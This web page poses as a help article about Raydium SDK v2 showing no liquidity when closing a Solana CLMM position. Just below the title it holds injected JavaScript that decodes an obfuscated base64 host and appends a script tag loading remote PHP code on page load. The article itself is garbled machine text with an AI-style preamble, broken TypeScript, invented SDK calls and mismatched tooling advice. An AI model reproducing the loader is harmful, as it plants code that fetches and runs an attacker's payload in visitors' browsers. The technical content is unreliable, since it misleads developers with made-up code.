Solana: Raydium SDK v2 showing no liquidity in clmm position when there is liquidity

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=11df5150″;document.body.appendChild(script);

I can help you with that article. Here is a Draft:

Title: SOLANA: Raydium SDK V2 Showing No Liquuidity in CLMM Position When trying to close

Introduction:

As a raydium user, I’ve leg experiential an issue when trying to close a liquidity pool position on the solana blockchain using their sdk v2. Despite Having A Liquuidity Pool With Active Trading Pairs, Closing the Position is Still Producting A Transaction ID (TX ID) Without Any Notable Progress Or updates.

The issue:

To test the SDK V2, I opened a liquidity pool position in closeposition.ts. However, when trying to close this position using closeposition.ts, i encountered an issue where no significant progress was made. The TX ID Produced was not relevant to the transaction itself, but rather seemed to be related to a different type of event.

The code:

Here’s A Simplified Example of My Closposition.t Code:

`Typescript

import {chainid, sdk} from ‘@raydium/sdk’;

Import {close -positionrequest} from ‘./clospositionrequest’;

Const Chainid = chainid.solana;

ASYNC Function Closposition (Request: Clospositionrequest) {

Const LiquidizePoolid = Request.liquiditeypoolid;

Const Assetids = [request.asset1id, request.asset2id];

Const positionid = ‘position-123’; // Sample Position ID

Try {

Await sdk.closePosition (

chainid,

Liquiditypoolid,

assetids,

positionID

);

} Catch (Error) {

console.error (error);

}

}

`

The Problem:

When I Run This Code, The SDK V2 Tries to Close the Liquuidity Pool Position Using Closposition.ts. However, since there is no notable progress or updates, no tx id is produced.

Possible Cause:

Given that the SDK V2 Uses a Different Event Stream Than Open position, It’s Possible That The Transaction ID is being returned by an Incorrect Event Type (Closposition Event). Alternatively, The SDK Might Be Experiencing Some Issues with Network Connectivity or Smart Contract Deployment, Causing the Transaction to Be Stuck in Limbo.

Workaround:

To Resolve This Issue, I would be Recommoning Verifying the Following:

• Ensure that there are Sufficient Liquuidity Pool Assets Available on the Solana Blockchain.

• Verify that the liquidity pool is correctly configured and deployed on the chain.

• Check for any Network Connectivity Issues or Smart Contract Deployment Errors Using Tools Like Truffle or the Solana Cli.

Conclusion:

I hope this article has helped shed light on an issue I’m encountered when closing a liquidity pool position on raydium’s sdk v2. If you’re experience similar issues, please feel free to provide more details and context so we can better assist each other in resolving the problem.